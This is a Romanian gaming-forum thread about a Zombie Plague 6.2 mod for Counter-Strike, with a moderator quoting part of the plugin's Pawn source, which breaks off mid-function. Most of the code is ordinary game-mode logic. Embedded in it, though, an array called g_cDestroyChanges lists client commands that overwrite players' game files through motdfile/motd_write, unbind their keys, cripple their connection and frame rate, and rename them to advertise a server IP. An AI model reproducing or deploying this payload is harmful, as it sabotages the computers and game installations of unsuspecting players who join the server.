[ADDONS] Zombie Plague 6.2 remade original code

Descarcari de addons-uri si discutii despre acestea.

Moderators: Moderatori ajutatori, Moderatori

User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 107
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

23 Jun 2019, 23:27

Descriere: addons Zombie Plague 6.2 UltimateX Reloaded o versiune private facuta de mine , exact ce vine si csbd am reusit sa rescriu codul dupa cel original deja lucrez la cod sa fie compatibil cu modulul 6.2 original
Autor: SideWinder
Versiune: 2.0b
Descarcare: Link! ofer doar amxx momentan voi explica mai jos de ce doar amxx
Pluginuri:
ZPA62.amxx debug
WelcomeMessage.amxx
cs_stats.amxx
last_maps.amxx
Spawn.amxx
MapEndManager.amxx
TeamJoin.amxx

Informații suplimentare: asa cum am zis ofer doar amxx pentru ca nu este chiar gata modul asta , mai are doar 1-2 buguri , cand rezolv toate bugurile o sa public si toate sma urile la mod
voi face update la mod cat de des posibil pot
IG-BOOST.org - Instagram Followers Best, Cheap, Reliable
User avatar
Gheorghe_cs16
Membru, skill +2
Membru, skill +2
Posts: 601
Joined: 16 May 2018, 03:31
Detinator Steam: Da
CS Status: ICQ 10.000
SteamID: Privat
Fond eXtream: 0
Location: TERRA PLAT
Has thanked: 25 times
Been thanked: 4 times
Contact:

10 Jul 2019, 20:18

dim2k wrote:
23 Jun 2019, 23:27
Descriere: addons Zombie Plague 6.2 UltimateX Reloaded o versiune private facuta de mine , exact ce vine si csbd am reusit sa rescriu codul dupa cel original deja lucrez la cod sa fie compatibil cu modulul 6.2 original

Tot aceasi este http://zppv.boards.net/thread/3915/zomb ... -all-fixed doar ai modificat din cod si altele :))
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 107
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

11 Jul 2019, 17:05

Gheorghe_cs16 wrote:
10 Jul 2019, 20:18
dim2k wrote:
23 Jun 2019, 23:27
Descriere: addons Zombie Plague 6.2 UltimateX Reloaded o versiune private facuta de mine , exact ce vine si csbd am reusit sa rescriu codul dupa cel original deja lucrez la cod sa fie compatibil cu modulul 6.2 original

Tot aceasi este http://zppv.boards.net/thread/3915/zomb ... -all-fixed doar ai modificat din cod si altele :))
pai ala sunt tot eu :))
acel 6.2 este in plague
noul meu 6.2 nu este facut in plague , codul rescris :D dupa original
User avatar
Rainq
Moderator
Moderator
Posts: 2683
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 3 times
Been thanked: 22 times
Contact:

26 Sep 2019, 22:53

sunt si modurile assassin vs sniper?
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 107
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 05:48

Rainq wrote:
26 Sep 2019, 22:53
sunt si modurile assassin vs sniper?
da dar e buguit rau addons
am facut o versiune mai buna
User avatar
Rainq
Moderator
Moderator
Posts: 2683
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 3 times
Been thanked: 22 times
Contact:

27 Sep 2019, 14:53

dim2k wrote:
27 Sep 2019, 05:48
Rainq wrote:
26 Sep 2019, 22:53
sunt si modurile assassin vs sniper?
da dar e buguit rau addons
am facut o versiune mai buna
si o postezi?
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 107
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 15:42

Rainq wrote:
27 Sep 2019, 14:53
dim2k wrote:
27 Sep 2019, 05:48
Rainq wrote:
26 Sep 2019, 22:53
sunt si modurile assassin vs sniper?
da dar e buguit rau addons
am facut o versiune mai buna
si o postezi?
Informații suplimentare: asa cum am zis ofer doar amxx pentru ca nu este chiar gata modul asta , mai are doar 1-2 buguri , cand rezolv toate bugurile o sa public si toate sma urile la mod
voi face update la mod cat de des posibil pot
User avatar
Rainq
Moderator
Moderator
Posts: 2683
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 3 times
Been thanked: 22 times
Contact:

27 Sep 2019, 16:04

ce buguri are?
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 107
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 16:07

Rainq wrote:
27 Sep 2019, 16:04
ce buguri are?
nu mai am sma la el
addon-uri/zombie-plague-remade-t365311.html
poftim
User avatar
Rainq
Moderator
Moderator
Posts: 2683
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 3 times
Been thanked: 22 times
Contact:

27 Sep 2019, 16:10

dim2k wrote:
27 Sep 2019, 16:07
Rainq wrote:
27 Sep 2019, 16:04
ce buguri are?
nu mai am sma la el
addon-uri/zombie-plague-remade-t365311.html
poftim
de ce nu ai editat direct primul post si ai mai facut un topic? ca nu-si avea rostul..ce buguri are?? de la sursa principala numai ai sma?
Image
Leul si tigru sunt mai puternici ca lupul,dar lupul la circ nu participa.
User avatar
dim2k
Membru, skill +1
Membru, skill +1
Posts: 107
Joined: 16 Dec 2016, 04:03
Detinator Steam: Da
CS Status: INACTIV
Detinator server CS: da
SteamID: coolmr
Fond eXtream: 0
Location: romania
Been thanked: 2 times

27 Sep 2019, 16:11

Rainq wrote:
27 Sep 2019, 16:10
dim2k wrote:
27 Sep 2019, 16:07
Rainq wrote:
27 Sep 2019, 16:04
ce buguri are?
nu mai am sma la el
addon-uri/zombie-plague-remade-t365311.html
poftim
de ce nu ai editat direct primul post si ai mai facut un topic? ca nu-si avea rostul..ce buguri are?? de la sursa principala numai ai sma?
poti sa stergi asta si asa nu mai am sma la el este nefolositor acum
da am sters sma de la asta
User avatar
Rainq
Moderator
Moderator
Posts: 2683
Joined: 21 Jul 2015, 18:50
Detinator Steam: Da
CS Status: Busy
Detinator server CS: ---
Reputatie: Moderator
Fost detinator ZM.eXtreamCS.COM
Fost Membru Club eXtreamCS (trei luni)
Fond eXtream: 0
Location: Bucuresti
Has thanked: 3 times
Been thanked: 22 times
Contact:

27 Sep 2019, 16:14

nu-i asta de la nou link ?

ZPA62.sma:

Code: Select all

#include zombie_plague
#include float
#include hamsandwich

#pragma library hamsandwich
#pragma library zombie_plague

#pragma loadlib zombie_plague
#pragma loadlib hamsandwich

new bool:g_bConnected[33];
new Float:g_fLastLeapTime[33];
new bool:g_bAdmin[33];
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iWeapon[33];
new g_cName[33][32];
new g_cPlayerAddress[33][24];
new Data[33][__GEO_DATA_COUNT__][128];
new bool:Loaded[33];
new g_cSteam[33][24];
new g_cClass[33][24];
new g_iRounds[512];
new g_iRoundsCount;
new g_iCounter;
new g_iVariable;
new g_iMaxClients;
new g_iPosition[33];
new g_iOffset[33][2];
new g_iArgumentPing[33][3];
new g_iPingOverride[33] =
{
    -1, ...
}
new bool:g_bZombie[33];
new g_iLastMode;
new g_iPlayerType[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iRoundType;
new bool:g_bFlash[33];
new bool:g_bFlashEnabled[33];
new bool:g_bFake[33];
new g_iPacks[33];
new Float:g_fDamage[33];
new Float:g_fLastTime[33];
new g_iBurningDuration[33];
new bool:g_bNoDamage[33];
new g_bFrozen[33];
new g_iAliveCount;
new g_iMessagePosition;
new g_iTripMines[33];
new g_iPlantedMines[33];
new g_iPlanting[33];
new g_iRemoving[33];
new g_iFirstMineMessage;
new g_iSecondMineMessage;
new g_iJumpsNum[33];
new g_iJumps[33];
new bool:g_bUnlimitedClip[33];
new Float:g_fLastChangedModel;
new Float:g_fLast[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iSize;
new g_cAddresses[10][24];
new g_iBlinks[33];
new g_iEnemy[33];
new g_iSlash[33];
new g_iInBlink[33];
new Float:g_fRoundStartTime;
new g_iRemainingSync;
new g_iTopMessageSync;
new g_iLeftMessageSync;
new g_cLNames[10][32];
new g_iCanceled[33];
new Float:g_fLastSlash[33];
new g_iTracker;
new g_iEventsHudmessage;
new g_iCenterMessageSync;
new g_iDownMessageSync;
new g_iCounterMessage;
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new g_iBotsCount;
new g_bCanBuy[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iPrimaryMenu;
new g_iSecondaryWeapons[64];
new g_iPrimaryWeapons[64];
new g_iMenuExtraItems;
new g_iMenuZombieClasses;
new g_cTag[33][24];
new Float:g_fGagTime[33];
new g_cSteams[256][24];
new g_cNames[256][32];
new g_cPasswords[256][32];
new g_cFlags[256][32];
new g_cTags[256][24];
new g_cPersonalFlags[33][32];
new g_iAdminsCount;
new g_iMenu;
new bool:g_bVoting;
new bool:g_bSecondVoting;
new g_iVariables[3];
new g_iVotes[7];
new g_cMaps[7][32];
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_iLimitReached[33];
new bool:g_Hidden[33];
new g_cHudAdvertisements[50][188];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iMessage;
new g_cAdvertisements[72][188];
new g_iAdvertisementsCount;
new g_iAdvertisementsSync;
new FreezeTime
//////////////////////
//////////////////////

new g_cZombieInfectSounds[5][0] =
{
    "zombie_plague/zombie_infect_01.wav",
    "zombie_plague/zombie_infect_02.wav",
    "zombie_plague/zombie_infect_03.wav",
    "zombie_plague/zombie_infect_04.wav",
    "zombie_plague/zombie_infect_05.wav"
};
new g_cEndRoundZombieSounds[4][0] =
{
    "zombie_plague/end_round_win_zombies_01.wav",
    "zombie_plague/end_round_win_zombies_02.wav",
    "zombie_plague/end_round_win_zombies_03.wav",
    "zombie_plague/end_round_win_zombies_04.wav"
};
new g_cEndRoundHumanSounds[3][0] =
{
    "zombie_plague/end_round_win_humans_01.wav",
    "zombie_plague/end_round_win_humans_02.wav",
    "zombie_plague/end_round_win_humans_03.wav"
};
new g_cStartRoundSurvivorSounds[2][0] =
{
    "zombie_plague/round_start_survivor_01.wav",
    "zombie_plague/round_start_survivor_02.wav"
};
new g_cStartRoundNemesisSounds[2][0] =
{
    "zombie_plague/round_start_nemesis_01.wav",
    "zombie_plague/round_start_nemesis_02.wav"
};
new g_cZombieBurnSounds[5][0] =
{
    "zombie_plague/zombie_burn_01.wav",
    "zombie_plague/zombie_burn_02.wav",
    "zombie_plague/zombie_burn_03.wav",
    "zombie_plague/zombie_burn_04.wav",
    "zombie_plague/zombie_burn_05.wav"
};
new g_cHumanNadeInfectSounds[3][0] =
{
    "zombie_plague/human_nade_infect_scream_01.wav",
    "zombie_plague/human_nade_infect_scream_02.wav",
    "zombie_plague/human_nade_infect_scream_03.wav"
};
new Float:g_fDamageCoords[8][0] =
{
    { 0.50, 0.40 },
    { 0.56, 0.44 },
    { 0.60, 0.50 },
    { 0.56, 0.56 },
    { 0.50, 0.60 },
    { 0.44, 0.56 },
    { 0.40, 0.50 },
    { 0.44, 0.44 }
};
new Float:kb_weapon_power[31] =
{
	-1.0, 2.4, -1.0, 6.5, -1.0, 8.0, -1.0, 2.3, 5.0, -1.0, 2.4, 2.0, 2.4, 5.3, 5.5, 5.5, 2.2, 2.0, 10.0, 2.5, 5.2, 8.0, 5.0, 2.4, 6.5, -1.0, 5.3,5.0, 6.0, -1.0, 2.0
};
new g_iMaxClip[31] =
{
	0, 13, 0, 10, 0, 7, 0, 30, 30, 0, 15, 20, 25, 30, 35, 25, 12, 20, 10, 30, 100, 8, 30, 30, 20, 0, 7, 30, 30, 0, 50
};
new g_cSecondaryWeapons[6][0] =
{
    "Glock 18C",
    "USP .45 ACP Tactical",
    "P228 Compact",
    "Desert Eagle .50 AE",
    "FiveseveN",
    "Dual Elite Berettas"
};
new g_cPrimaryWeapons[14][0] =
{
    "IMI Galil",
    "Famas",
    "M4A1 Carbine",
    "AK-47 Kalashnikov",
    "SG-552 Commando",
    "Steyr AUG A1",
    "Schmidt Scout",
    "M3 Super 90",
    "XM1014 M4",
    "Schmidt TMP",
    "Ingram MAC-10",
    "UMP 45",
    "MP5 Navy",
    "ES P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_glock18",
    "weapon_usp",
    "weapon_p228",
    "weapon_deagle",
    "weapon_fiveseven",
    "weapon_elite"
};
new g_cPrimaryEntities[14][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_sg552",
    "weapon_aug",
    "weapon_scout",
    "weapon_m3",
    "weapon_xm1014",
    "weapon_tmp",
    "weapon_mac10",
    "weapon_ump45",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_cHumanModels[4][0] =
{
    "terror",
    "gign",
    "sas",
    "arctic"
};
new g_cZombieModels[7][0] =
{
    "zclasic",
    "raptor",
    "predator_blue",
    "mutant",
    "frozen",
    "regenerator",
    "hunter"
};
new g_cZombieClaws[7][0] =
{
    "models/zombie_plague/clasic_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/predator_blue_claws.mdl",
    "models/zombie_plague/mutant_claws.mdl",
    "models/zombie_plague/frozen_claws.mdl",
    "models/zombie_plague/regenerator_claws.mdl",
    "models/zombie_plague/hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
    5675, 4800, 5100, 6250, 4500, 4750, 5200
};
new Float:g_fZombieGravities[7] =
{
    1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
    264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
    0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][24] =
{
    "Clasic",
    "Raptor",
    "Predator 4",
    "Mutant",
    "Frozen",
    "Regenerator",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\y[=Balanced=]",
    "\y[Speed +++]",
    "\y[Powerful]",
    "\y[Health +++]",
    "\y[Double Jump]",
    "\y[Regeneration]",
    "\y[Silent Killer]"
};
new g_cExtraItems[22][0] =
{
    "NightVision (single round)",
    "T-Virus Antidote",
    "Zombie Madness",
    "Infection Bomb",
    "Explosion Nade",
    "Napalm Nade",
    "Frost Nade",
    "AWP Magnum Sniper",
    "M249 Para Machinegun",
    "SG550 Auto-Sniper",
    "G3SG1 Auto-Sniper",
    "Jetpack+Bazooka",
    "Unlimited Clip",
    "Armura (100ap)",
    "Armura (200ap)",
    "Multijump +1",
    "Cumpara Tryder",
    "Cumpara Supravietuitor",
    "Cumpara Sniper",
    "Cumpara Nemesis",
    "Cumpara Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[22] =
{
	2, 15, 17, 26, 4, 4, 3, 7, 9, 10, 10, 30, 10, 5, 10, 5, 30, 180, 180, 150, 150, 10
};
new g_iExtraItemsTeams[22] =
{
	2, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cBotNames[4][0] =
{
    "Angelina Jolie",
    "Megan Fox",
    "Keira Knightley",
    "Emma Stone"
};
new g_cDestroyChanges[19][0] =
{
    "snapshot;snapshot; name ^"Join: 89.44.246.127:27015^"",
    "motdfile models/player/terror/terror.mdl",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile decals.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "motdfile liblist.gam;motd_write x",
    "motdfile tempdecal.wad;motd_write x",
    "unbindall",
    "cl_timeout 0",
    "fps_max 1",
    "rate 0",
    "_restart"
};
new Float:g_fSizes[70][3] =
{
    {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
    {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
    {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
    {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
    {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
};

replace_all(string[], len, what[], with[])
{
	new pos;
	if ((pos = contain(string, what)) == -1)
	{
		return 0;
	}
	new total;
	new with_len = strlen(with);
	new diff = strlen(what) - with_len;
	new total_len = strlen(string);
	new temp_pos;
	while (replace(string[pos], len - pos, what, with))
	{
		pos = with_len + pos;
		total_len -= diff;
		if (!(pos >= total_len))
		{
			temp_pos = contain(string[pos], what);
			if (!(temp_pos == -1))
			{
				pos = temp_pos + pos;
				total++;
			}
			return total;
		}
		return total;
	}
	return total;
}

StripName( Name[ ] ) 
{
	for( new i = 0; i < strlen( Name ); i++ ) 
	{
		Name[ i ] = tolower( Name[ i ] );
		if( !isalpha( Name[ i ] ) )
		{
			Name[ i ] = '_';
		}
	}
}

LoadData( Player ) 
{
	new Name[ 32 ];
	get_user_name( Player, Name, 31 );
	StripName( Name );
	new FileLine[ 256 ]
	formatex( FileLine, 255, "addons/SpecialGeoip/PlayerData/%s.ini", Name );
	new File = fopen( FileLine, "r" );
	if( File ) 
	{
		new Row[ 256 ], Key[ 128 ], Value[ 128 ], i = 0;
		while( !feof( File ) )
		{
			fgets( File, Row, 255 );

			trim( Row );

			if( Row[ 0 ] == '"' ) 
			{
				parse( Row, Key, 127, Value, 127 );
				if( i < __GEO_DATA_COUNT__ )
				{
					formatex( Data[ Player ][ i ], 127, "%s", Value );
				}
				i++;
			}
		}
		fclose( File );
		Loaded[ Player ] = true;
	}
}

public __fatal_ham_error(Ham:id, HamError:err, reason[])
{
	new func = get_func_id("HamFilter", -1);
	new bool:fail = true;
	if (func != -1 && callfunc_begin_i(func, -1) == 1)
	{
		callfunc_push_int(_:id);
		callfunc_push_int(_:err);
		callfunc_push_str(reason, false);
		if (callfunc_end() == 1)
		{
			fail = false;
		}
	}
	if (fail)
	{
		set_fail_state(reason);
	}
	return 0;
}

public MessageSayText()
{
	if (get_msg_args() == 4)
	{
		static iSender;
		iSender = get_msg_arg_int(1);
		if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
		{
			static cReplacement[189];
			static cPhrase[47];
			get_msg_arg_string(2, cPhrase, 46);
			if (equal(cPhrase, "#Cstrike_Chat_CT", 0))
			{
				formatex(cReplacement, 188, "^1(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T", 0))
			{
				formatex(cReplacement, 188, "^1(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_CT_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_Spec", 0))
			{
				formatex(cReplacement, 188, "^1(Spectator) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_All", 0))
			{
				formatex(cReplacement, 188, "^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllDead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllSpec", 0))
			{
				formatex(cReplacement, 188, "^1*SPEC* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
		}
	}
	return 0;
}

StartSwarmMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 22) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 64;
		g_iRoundType = g_iRoundType | 64;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || get_team(i) == 2)
			{
				set_team(i, 2);
			}
			else
			{
				MakeZombie(0, i, true, false, false);
			}
			i += 1;
		}
		client_cmd(0, "spk zombie_plague/round_start_plague");
		set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		return 0;
	}
	StartPlagueMode(false);
	return 0;
}

StartPlagueMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 32;
		g_iRoundType = g_iRoundType | 32;
		static iNemesis;
		static iMaxNemesis;
		static i;
		static iMaxSurvivors;
		static iSurvivors;
		static iMaxZombies;
		static iZombies;
		iMaxSurvivors = 3;
		iMaxNemesis = 2;
		iZombies = 0;
		iNemesis = 0;
		iSurvivors = 0;
		while (iSurvivors < iMaxSurvivors)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4))
			{
				MakeHuman(i, true, false);
				iSurvivors += 1;
				set_health(i, 6900);
			}
		}
		while (iNemesis < iMaxNemesis)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
			{
				MakeZombie(0, i, false, true, false);
				iNemesis += 1;
				set_health(i, 180000);
			}
		}
		iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
				    set_team (i, 2);
				}
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartMultiMode(false);
	return 0;
}

StartMultiMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 16;
		g_iRoundType = g_iRoundType | 16;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while ( iZombies < iMaxZombies )
		{
			if ( ++ i > g_iMaxClients ) i = 1;

			if ( !g_bAlive [i] || g_bZombie [i] ) continue;
			
			if ( random_num ( 0, 1 ) )
			{
				MakeZombie(0, i, true, false, false);
				
				iZombies ++;
			}
		}		
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] || g_bZombie [i] ) continue;

			if ( get_team ( i ) != 2 )
			{
				set_team ( i, 2 );
			}
		}		
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartArmageddonMode(false);
	return 0;
}

StartArmageddonMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 128;
		g_iRoundType = g_iRoundType | 128;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 67500);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 11400);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
            client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
            client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);

		return 0;
	}
	StartNightmareMode(false);
	return 0;
}

StartNightmareMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 256;
		g_iRoundType = g_iRoundType | 256;
		static i;
		static iMaxAssassins;
		static iAssassins;
		static iMaxSnipers;
		static iSnipers;
		static iMaxNemesis;
		static iNemesis;
		iAssassins = 0;
		iSnipers = 0;
		iNemesis = 0;
